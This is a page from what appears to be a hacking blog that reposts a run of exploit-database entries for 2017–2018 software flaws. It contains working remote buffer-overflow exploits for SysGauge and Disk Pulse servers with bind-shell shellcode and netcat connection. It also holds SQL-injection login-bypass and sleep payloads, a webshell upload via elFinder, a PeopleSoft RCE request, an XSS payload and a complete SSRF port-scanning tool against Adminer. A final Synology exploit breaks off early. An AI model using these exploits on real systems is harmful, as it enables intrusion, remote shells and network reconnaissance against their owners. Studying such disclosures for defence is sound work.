Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863555928

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: SysGauge Server 3.6.18 - Buffer Overflow
# Exploit Author: Ahmad Mahfouz 
# Description: Sysgauge Server Unauthenticated Remote Buffer Overflow SEH
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2018-5359
# Version: 3.6.18
# Tested on: Windows 7 x64
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe

 

from struct import pack
from os import system
from sys import exit
from time import sleep
import socket

 

port = 9221
host = '192.168.72.231'

 
stage1 = "\x83\xc4\x7f" *16 # metasm > add esp,127
stage1 += "\x83\xc4\x04"    # metasm > add esp,4
stage1 +=  "\xff\xe4"       # metasm > jmp esp
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02'

buf =  ""
buf += "\xb8\x01\x69\xed\x6f\xdd\xc3\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\x43\x67\x0f"
buf += "\x9a\xbf\x9f\x4d\x65\x3f\x60\x32\xef\xda\x51\x72\x8b"
buf += "\xaf\xc2\x42\xdf\xfd\xee\x29\x8d\x15\x64\x5f\x1a\x1a"
buf += "\xcd\xea\x7c\x15\xce\x47\xbc\x34\x4c\x9a\x91\x96\x6d"
buf += "\x55\xe4\xd7\xaa\x88\x05\x85\x63\xc6\xb8\x39\x07\x92"
buf += "\x00\xb2\x5b\x32\x01\x27\x2b\x35\x20\xf6\x27\x6c\xe2"
buf += "\xf9\xe4\x04\xab\xe1\xe9\x21\x65\x9a\xda\xde\x74\x4a"
buf += "\x13\x1e\xda\xb3\x9b\xed\x22\xf4\x1c\x0e\x51\x0c\x5f"
buf += "\xb3\x62\xcb\x1d\x6f\xe6\xcf\x86\xe4\x50\x2b\x36\x28"
buf += "\x06\xb8\x34\x85\x4c\xe6\x58\x18\x80\x9d\x65\x91\x27"
buf += "\x71\xec\xe1\x03\x55\xb4\xb2\x2a\xcc\x10\x14\x52\x0e"
buf += "\xfb\xc9\xf6\x45\x16\x1d\x8b\x04\x7f\xd2\xa6\xb6\x7f"
buf += "\x7c\xb0\xc5\x4d\x23\x6a\x41\xfe\xac\xb4\x96\x01\x87"
buf += "\x01\x08\xfc\x28\x72\x01\x3b\x7c\x22\x39\xea\xfd\xa9"
buf += "\xb9\x13\x28\x47\xb1\xb2\x83\x7a\x3c\x04\x74\x3b\xee"
buf += "\xed\x9e\xb4\xd1\x0e\xa1\x1e\x7a\xa6\x5c\xa1\x81\x0e"
buf += "\xe8\x47\xe3\x60\xbc\xd0\x9b\x42\x9b\xe8\x3c\xbc\xc9"
buf += "\x40\xaa\xf5\x1b\x56\xd5\x05\x0e\xf0\x41\x8e\x5d\xc4"
buf += "\x70\x91\x4b\x6c\xe5\x06\x01\xfd\x44\xb6\x16\xd4\x3e"
buf += "\x5b\x84\xb3\xbe\x12\xb5\x6b\xe9\x73\x0b\x62\x7f\x6e"
buf += "\x32\xdc\x9d\x73\xa2\x27\x25\xa8\x17\xa9\xa4\x3d\x23"
buf += "\x8d\xb6\xfb\xac\x89\xe2\x53\xfb\x47\x5c\x12\x55\x26"
buf += "\x36\xcc\x0a\xe0\xde\x89\x60\x33\x98\x95\xac\xc5\x44"
buf += "\x27\x19\x90\x7b\x88\xcd\x14\x04\xf4\x6d\xda\xdf\xbc"
buf += "\x9e\x91\x7d\x94\x36\x7c\x14\xa4\x5a\x7f\xc3\xeb\x62"
buf += "\xfc\xe1\x93\x90\x1c\x80\x96\xdd\x9a\x79\xeb\x4e\x4f"
buf += "\x7d\x58\x6e\x5a"

shellcode = buf

payload = 'A' * 124             #offset
payload +=  '\xeb\x12\x90\x90'  #jmp over seh retrun value
payload += '\x3b\x38\x01\x10' * 4   # 0x1001383b : pop edi # pop esi # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libdsm.dll]
payload += stage1 
payload +=  '\x90' * (1000 - len(payload) - len(shellcode))
payload += shellcode 

 

header = '\x75\x19\xba\xab'
header += '\x03\x00\x00\x00'
header += '\x00\x40\x00\x00'
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload 

 

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    print "[*] Testing connection to tatget %s:%s" %(host,port)
    s.connect((host, port))

except:

    print "[-] Unable to communicate to target %s:%s" %(host,port)
    exit()

 

s.send(packet)

print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:1337 .." %host
sleep(3)
system("nc %s 1337"%host)
            
# # # # # 
# Exploit Title: Domains & Hostings Manager PRO v 3.0 - Authentication Bypass
# Date: 13.01.2018
# Vendor Homepage: http://endavi.com/
# Software Buy: https://codecanyon.net/item/advanced-domains-and-hostings-pro-v3-multiuser/10368735
# Demo: http://endavi.com/dhrpro_demo/
# Version: 3.0
# Tested on: Windows 10
# # # # # 
# Exploit Author: Tauco

Description :
While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.
In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions. 

POC
===================================================================================================
POST /dhrpro_demo/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

accusername=admin%27+or+%271%27%3D%271&accuserpassword=admin%27+or+%271%27%3D%271&login=+ENTER+

Login = admin' or '1'='1
Password   = admin' or '1'='1

Severity Level:
=========================================================
High

Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Domains & Hostings Manager PRO v 3.0
 
 
Vulnerable Parameter(s):        [+]  accusername, accuserpassword
            
# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}
            
# Exploit Title: Disk Pulse Enterprise Server v10.1.18 - Buffer Overflow
# Exploit Author: Ahmad Mahfouz 
# Description: Disk Pule Enterprise Server Unauthenticated Remote Buffer Overflow SEH
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-15663
# Version: v10.1.18 
# Tested on: Windows 7 x64
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10.1.18.exe

 

from struct import pack
from os import system
from sys import exit
from time import sleep
import socket

 

port = 9120
host = '192.168.72.231'


stage1 = "\x83\xc4\x7f" *17 # metasm > add esp,127
stage1 += "\x83\xc4\x04"    # metasm > add esp,4
stage1 +=  "\xff\xe4"       # metasm > jmp esp
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02'

buf =  "\x90" * 10 
buf += "\xb8\x01\x69\xed\x6f\xdd\xc3\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\x43\x67\x0f"
buf += "\x9a\xbf\x9f\x4d\x65\x3f\x60\x32\xef\xda\x51\x72\x8b"
buf += "\xaf\xc2\x42\xdf\xfd\xee\x29\x8d\x15\x64\x5f\x1a\x1a"
buf += "\xcd\xea\x7c\x15\xce\x47\xbc\x34\x4c\x9a\x91\x96\x6d"
buf += "\x55\xe4\xd7\xaa\x88\x05\x85\x63\xc6\xb8\x39\x07\x92"
buf += "\x00\xb2\x5b\x32\x01\x27\x2b\x35\x20\xf6\x27\x6c\xe2"
buf += "\xf9\xe4\x04\xab\xe1\xe9\x21\x65\x9a\xda\xde\x74\x4a"
buf += "\x13\x1e\xda\xb3\x9b\xed\x22\xf4\x1c\x0e\x51\x0c\x5f"
buf += "\xb3\x62\xcb\x1d\x6f\xe6\xcf\x86\xe4\x50\x2b\x36\x28"
buf += "\x06\xb8\x34\x85\x4c\xe6\x58\x18\x80\x9d\x65\x91\x27"
buf += "\x71\xec\xe1\x03\x55\xb4\xb2\x2a\xcc\x10\x14\x52\x0e"
buf += "\xfb\xc9\xf6\x45\x16\x1d\x8b\x04\x7f\xd2\xa6\xb6\x7f"
buf += "\x7c\xb0\xc5\x4d\x23\x6a\x41\xfe\xac\xb4\x96\x01\x87"
buf += "\x01\x08\xfc\x28\x72\x01\x3b\x7c\x22\x39\xea\xfd\xa9"
buf += "\xb9\x13\x28\x47\xb1\xb2\x83\x7a\x3c\x04\x74\x3b\xee"
buf += "\xed\x9e\xb4\xd1\x0e\xa1\x1e\x7a\xa6\x5c\xa1\x81\x0e"
buf += "\xe8\x47\xe3\x60\xbc\xd0\x9b\x42\x9b\xe8\x3c\xbc\xc9"
buf += "\x40\xaa\xf5\x1b\x56\xd5\x05\x0e\xf0\x41\x8e\x5d\xc4"
buf += "\x70\x91\x4b\x6c\xe5\x06\x01\xfd\x44\xb6\x16\xd4\x3e"
buf += "\x5b\x84\xb3\xbe\x12\xb5\x6b\xe9\x73\x0b\x62\x7f\x6e"
buf += "\x32\xdc\x9d\x73\xa2\x27\x25\xa8\x17\xa9\xa4\x3d\x23"
buf += "\x8d\xb6\xfb\xac\x89\xe2\x53\xfb\x47\x5c\x12\x55\x26"
buf += "\x36\xcc\x0a\xe0\xde\x89\x60\x33\x98\x95\xac\xc5\x44"
buf += "\x27\x19\x90\x7b\x88\xcd\x14\x04\xf4\x6d\xda\xdf\xbc"
buf += "\x9e\x91\x7d\x94\x36\x7c\x14\xa4\x5a\x7f\xc3\xeb\x62"
buf += "\xfc\xe1\x93\x90\x1c\x80\x96\xdd\x9a\x79\xeb\x4e\x4f"
buf += "\x7d\x58\x6e\x5a"

shellcode = buf
payload = 'A' * 124             #offset
payload +=  '\xeb\x09\x90\x90'  #jmp over seh retrun value
payload +=  '\xcd\x89\x06\x10' #0x100689cd : pop ebp # pop ebx # ret 0x04 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\Disk Pulse Enterprise\bin\libspp.dll)
payload += stage1 
payload +=  '\x90' * (1000 - len(payload) - len(shellcode))
payload += shellcode 

 

header = '\x75\x19\xba\xab'
header += '\x03\x00\x00\x00'
header += '\x00\x40\x00\x00'
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload 

 

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    print "[*] Testing connection to tatget %s:%s" %(host,port)
    s.connect((host, port))

except:

    print "[-] Unable to communicate to target %s:%s" %(host,port)

    exit()

 

s.send(packet)

print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:1337 .." %host
sleep(3)
system("nc %s 1337"%host)
            
# Exploit Title: RISE Ultimate Project Manager 1.9 - SQL Injection
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Date: 30/12/2017
# CVE: CVE-2017-17999
# Vendor Homepage: http://fairsketch.com/
# Version: 1.9

 

 

POST /index.php/knowledge_base/get_article_suggestion/ HTTP/1.1
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Connection: close

 
search=product'%20and%20(select*from(select(sleep(20)))a)--%20
            
# Exploit Title: Oracle E-Business suite Open Redirect
# Google Dork: inurl:OA_HTML/cabo/
# Date: April 2017
# Exploit Author: [author]
# Vendor Homepage: http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
# Software Link: [download link if available]
# Version: Oracle E-Business Suite  (REQUIRED)
# Tested on: [relevant os]
# CVE :  CVE-2017-3528

The exploit can be leveraged for an open redirect using the following
exploit path:

https://targetsite/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=/\example.com

Oracle E-Business suite is vulnerable to an open redirect issue,
specifically the redirect parameter allows any domain to be supplied
and it will be rendered on the target's site.

Note I was also credited for this CVE, see the Oracle
CPU(http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html)
            
# Exploit Title: RCE vulnerability in monitor service of PeopleSoft 8.54, 8.55, 8.56
# Date: 30 Oct 2017
# Exploit Author: Vahagn Vardanyan
# Vendor Homepage: Oracle
# Software Link: Oracle PeopleSoft
# Version: 8.54, 8.55, 8.56
# Tested on: Windows, Linux
# CVE : CVE-2017-10366 https://github.com/vah13/OracleCVE/tree/master/CVE-2017-10366

The RCE vulnerability present in monitor service of PeopleSoft 8.54, 8.55, 8.56.

POST /monitor/%SITE_NAME% HTTP/1.1
Host: PeopleSoft:PORT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0)
Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie:a=aa

§JAVA_SERIAL§

%SITE_NAME% - is a PeopleSoft "name" to get it you can use some information
disclosure or brute force. information for automation detection:

   1. If monitor component deployed and you don't know %SITE_NAME% then
   will get this type of error

<h2>Site name is not valid. Check your URL syntax and try again.</h2>


   1. If %SITE_NAME% is true then you will get this message

PeopleSoft

Ping Test for Monitor Servlet

Ping successful. Site %SITE_NAME% is valid.


   1. If monitor don't deployed then you will get this message

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No
indication is given of whether the condition is temporary or
permanent.

If the server does not wish to make this information available to the
client, the status code 403 (Forbidden) can be used instead. The 410
(Gone) status code SHOULD be used if the server knows, through some
internally configurable mechanism, that an old resource is permanently
unavailable and has no forwarding address.
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security           
 


Vendor:
==============
www.adminer.org


Product:
================
Adminer <= v4.3.1 

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.

https://github.com/vrana/adminer/releases/


Vulnerability Type:
===================
Server Side Request Forgery


CVE Reference:
==============
N/A


Security Issue:
================
Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to
identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts
but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself.

Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us.

Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server.
This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections. 

However, sysadmins who check the logs on the server hosting Adminer application will see our port scans.

root@lamp log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"


Details:
==================
By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed.

Port open ==> Lost connection to MySQL server at 'reading initial communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor 
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine actively refused it
Port closed ==> A connection attempt failed. 

This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability.


PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning
Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed. 

Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555


Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name 
from os import system as system_call

#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org 
#=========================
#D1rty0Tis says hi.

#timeout
MAX_TIME=32
#ports to log
port_lst=[]  
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443'] 

BANNER='''
           ____            _   __  __ _                  
          |  _  \         | | |  \/  (_)                 
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
          | |  | (_) | |  | |_| |  | | | | | |  __/ |    
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
       '''                               
   

def info():
    print "\nPortMiner depends on Error messages to determine open/closed ports."
    print "Read operations reported 'timed out' may be open/filtered.\n"


def greet():
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'
    print 'Targets Adminer used for MySQL administration\n'
    print 'by hyp3rlinx - apparition security'
    print '-----------------------------------------------------\n'
    print 'Scan small ranges or single ports or expect to wait.\n'
    print 'Do not scan networks without authorized permission.'
    print 'Author not responsible for abuse/misuse.\n'

    
def chk_ports(p): 
    p=p.replace('-',',')
    port_arg=p.split(',')
    try:
        if len(port_arg)>1:
            if int(port_arg[1]) < int(port_arg[0]):
                print 'Port range not valid.'
                raw_input()
                return
            if int(port_arg[1])>65535:
                print 'Exceeded max Port range 65535.'
                raw_input()
                return
    except Exception as e:
        print str(e)
        return None
    return list(range(int(port_arg[0]),int(port_arg[1])+1))



def log(IP):
    try:
        file=open('PortMiner.txt', 'w')
        file.write(IP+'\n')
        for p in port_lst:
            file.write(p+'\n')
        file.close()
    except Exception as e:
        print str(e)
    print "\nSee PortMiner.txt"


def use_ssl(ADMINER,ADMINER_PORT):
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ADMINER,int(ADMINER_PORT)))
        s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
        s.close()
    except Exception as e:
        print ""
        return False
    return True


def version(ip,port,uri,use_ssl):
    res=""
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,int(port)))
        if use_ssl:
            s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
        s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')

    except Exception as e:
        print 'Host up but cant connect.' #str(e)
        print 'Re-check Host/Port/URI.'
        s.close()
        return 504
     
    while True:
        RES=s.recv(512)
        if RES.find('Forbidden')!=-1:
            print 'Forbidden 403'
            s.close()
            return None
        if RES.find('401 Authorization Required')!=-1:
            print '401 Authorization Required'
            s.close()
            return None
        ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
        if not RES:
            s.close()
            return None
        if ver:
            print 'Your Adminer '+ ver[0] + ' works for us now.'
            s.close()
            return ver

    s.close()
    return None
 
       
               
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
    global MAX_TIME,port_range
    RES=''

    print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
    
    for aPort in port_range: 
         aPort=str(aPort)
         
         try:
             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(MAX_TIME)
             s.connect((ADMINER,ADMINER_PORT))
    
             if USE_SSL:
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 

             s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
    
         except Exception as e:
              print str(e)
              s.close()
              return

         while True:
              try:
                 RES=s.recv(512)
                 ###print RES
                 ###Should see HTTP/1.1 403 not 200
                 if RES.find('HTTP/1.1 200 OK')!=-1:
                     print 'port '+aPort +  ' open'
                     port_lst.append(aPort+' open')
                     s.close()
                     break
                    
                 if RES.find('400 Bad Request')!=-1:
                     print '400 Bad Request, check params'
                     s.close()
                     break
                     raw_input()                  

                 lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
                             "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)     
        
                 if lst:
                      status=str(lst)
                      if status.find('connect to MySQL')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('machine actively refused it.')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('A connection attempt failed')!=-1:
                          if PRINT_CLOSED:
                               print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('reading initial communication packet')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('MySQL server has gone away')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Bad file descriptor')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Got packets out of order')!=-1:
                          print 'port '+aPort +  ' open'
                          s.close()
                          break
                        
              except Exception  as e:
                  msg = str(e)
                  ###print msg
                  if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                      print 'port '+aPort +  ' open'
                      port_lst.append(aPort+' open')
                      s.close()
                      break
                  elif msg.find('timed out')!=-1: 
                      print 'port '+aPort + ' timed out'
                      port_lst.append(aPort+' read operation timed out')
                      s.close()
                      break
                  else:
                      s.close()
                      break
               
    if port_lst:
        log(TARGET)
    else:
        print "Scan completed, no ports mined."
    return 0



def arp(host):
    args = "-a" if system_name().lower()=="windows" else "-e"
    return subprocess.call("arp " + args + " " + host, shell=True) == 0
         

def ping_host(host):
    args = "-n 1" if system_name().lower()=="windows" else "-c 1"
    res=subprocess.call("ping " + args + " " + host, shell=True) == 0
    if not res:
        print str(host) + ' down? trying ARP'
        if not arp(host):
            print str(host) + ' unreachable.'
            return
    return res

    

def main():
    global port_range
    print BANNER
    greet()
    ADMINER_VERSION=False
    PRINT_CLOSED=False
    USE_SSL=None

    ADMINER=raw_input('[+] Adminer Host/IP> ')
    if ADMINER=='':
        print 'Enter valid Host/IP'
        ADMINER=raw_input('[+] Adminer Host/IP> ')
    
    ADMINER_PORT=raw_input('[+] Adminer Port> ')
    if not re.search("^\d{1,5}$",ADMINER_PORT):
        print 'Enter a valid Port.'
        ADMINER_PORT=raw_input('[+] Adminer Port> ')
    
    ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
    TARGET=raw_input('[+] Host/IP to Scan> ')
    
    PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
    plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
    if not plst:
        print 'Invalid ports, format is 1-1025'
        return
        raw_input() #console up

    port_range=chk_ports(PORTS_TO_SCAN)
    if not port_range:
        return

    PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
    if PRINT_CLOSED=='1':
        PRINT_CLOSED=True
    else:
        PRINT_CLOSED=False
    
    if not ping_host(ADMINER):
        print 'host %s not reachable or blocking ping ' % ADMINER  
        cont=raw_input('Continue with scan? 1=Yes any key for No> ')
        if cont!='1':
            print 'Scan aborted.'
            raw_input() #console up
            return
        

    USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
    time.sleep(2)
    ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)

    if not ADMINER_VERSION:
        print "Can't retrieve Adminer script. check supplied URI."
        raw_input() #console up
        return
    else:
        if ADMINER_VERSION==504:
            raw_input() #console up
            return
        if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
            more=raw_input('Info: 1=Yes, any key for No> ')
            if more=='1':
                info()
                raw_input() #console up

    
if __name__=='__main__':
    main()



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  December 16, 2017
Vendor Acknowledgment and reply "I could disallow connecting to well-known ports" : December 18, 2017
Vendor "Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this."
No more replies from vendor since : December 18, 2017
Attempt contact vendor : January 4, 2018
No more replies (unresponsive).
January 12, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
# Exploit Title: Cross Site Scripting in ILIAS CMS 5.2.3
# Date: Apr 24, 2017
# Software Link: https://www.ilias.de
# Exploit Author: Florian Kunushevci
# Contact: https://facebook.com/florianx00
# CVE: CVE-2018-5688
# Category: webapps

1. Description

ILIAS before 5.2.4 has XSS via the cmd parameter to the displayHeader
function in setup/classes/class.ilSetupGUI.php in the Setup component.

2. Proof of Concept

Location : /setup/setup.php
Parameter : ?cmd=
Payload : "><script>alert(1)</script>

3. Solution:

https://www.ilias.de/docu/goto.php?target=lm_1719&client_id=docu

4. References:

https://nvd.nist.gov/vuln/detail/CVE-2018-5688
https://www.ilias.de/docu/goto_docu_pg_75029_35.html
            
author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title: OBS-Studio-20.1.3 Local Buffer Overflow Zer0Day (SEH Based PoC)
# Date: 2018.01.15
# Exploit Author: Greg Priest
# Version: OBS-Studio-20.1.3
# Tested on: Windows7 x64 HUN/ENG Enterprise
# Software Download Link: https://obsproject.com/download

'''

bug = '''
Vulnerable input field:
<1> Copy printed "AAAAA...." string to clipboard!
<2> Profile -> New
<3> Paste the string in the input then press Ok

'''
junk = "A" * 459
SEH = "BBBB"
nextSEH = "CCCC"
overflow = "D" * 19533

print author
print "String: ", junk + SEH + nextSEH + overflow
print bug
            
#!/usr/local/bin/python
"""
Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
Found by: mr_me
Tested: 6.8.2-3461 (latest at the time)
Vendor Advisory: https://www.synology.com/en-global/support/security/Synology_SA_18_02

# Summary:
==========

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.

# Example:
==========

saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0

